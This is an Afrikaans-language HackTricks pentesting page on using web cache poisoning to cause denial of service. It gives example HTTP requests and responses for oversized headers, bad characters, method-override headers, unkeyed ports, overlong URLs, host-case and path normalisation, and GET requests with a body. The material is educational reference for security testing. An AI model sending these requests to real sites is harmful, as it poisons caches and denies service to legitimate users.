hacktricks/pentesting-web/cache-deception/cache-poisoning-to-dos.md

6.3 KiB

Cache Vergiftiging vir DoS

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

{% hint style="danger" %} Op hierdie bladsy kan jy verskillende variasies vind om te probeer om die webbediener te laat reageer met foute op versoek wat geldig is vir die cache-bedieners {% endhint %}

  • HTTP Kopteksoorskryding (HHO)

Stuur 'n versoek met 'n kopteksgrootte groter as die een wat ondersteun word deur die webbediener, maar kleiner as die een wat ondersteun word deur die cache-bedieners. Die webbediener sal reageer met 'n 400-respons wat moontlik gekaas word:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP Meta Karakter (HMC) & Onverwagte waardes

Stuur 'n kopteks wat sekere skadelike meta karakters bevat soos \n en \r. Om die aanval te laat werk, moet jy eers die skyf omseil.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

'n Sleg geconfigureerde kop kan net \: as 'n kop wees.

Dit kan ook werk as onverwagte waardes gestuur word, soos 'n onverwagte Inhouds-Tipe:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Sleutelloos kop

Sommige webwerwe sal 'n foutstatuskode terugstuur as hulle sekere spesifieke koppe sien in die versoek soos met die X-Amz-Website-Location-Redirect: someThing kop:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • HTTP Metode Oorskrydingsaanval (HMO)

Indien die bediener die verandering van die HTTP-metode ondersteun met koppe soos X-HTTP-Metode-Oorskryding, X-HTTP-Metode of X-Metode-Oorskryding. Dit is moontlik om 'n geldige bladsy aan te vra deur die metode te verander sodat die bediener dit nie ondersteun nie en 'n slegte respons gekas word:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Ongekleurde Poort

Indien die poort in die Gasheer-kop in die respons weerspieël word en nie ingesluit word in die kasleutel nie, is dit moontlik om dit na 'n ongebruikte poort te stuur:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Langdurige Aanvraag DoS

Net soos in die volgende voorbeeld, word x nie gestoor nie, so 'n aanvaller kan die omleiding reaksiegedrag misbruik om die omleiding te stuur met 'n URL wat so groot is dat dit 'n fout terugstuur. Mense wat probeer om die URL sonder die ongestoorde x sleutel te bereik, sal die fout reaksie ontvang:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • Gasheer koptekengeval normalisering

Die gasheer kopteken behoort nie hooflettergevoelig te wees nie, maar sommige webwerwe verwag dat dit in kleinletters moet wees en sal 'n fout teruggee as dit nie is nie:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • Pad normalisering

Sommige bladsye sal foutkodes terugstuur wat data URLencode in die pad stuur, maar die cache-bediener sal die pad URLdecode en die respons vir die URLgedekodeerde pad stoor:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Vet Kry

Sommige cache-bedieners, soos Cloudflare, of webbedieners, stop GET-aanvrae met 'n liggaam, sodat dit misbruik kan word om 'n ongeldige reaksie te kacheer:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: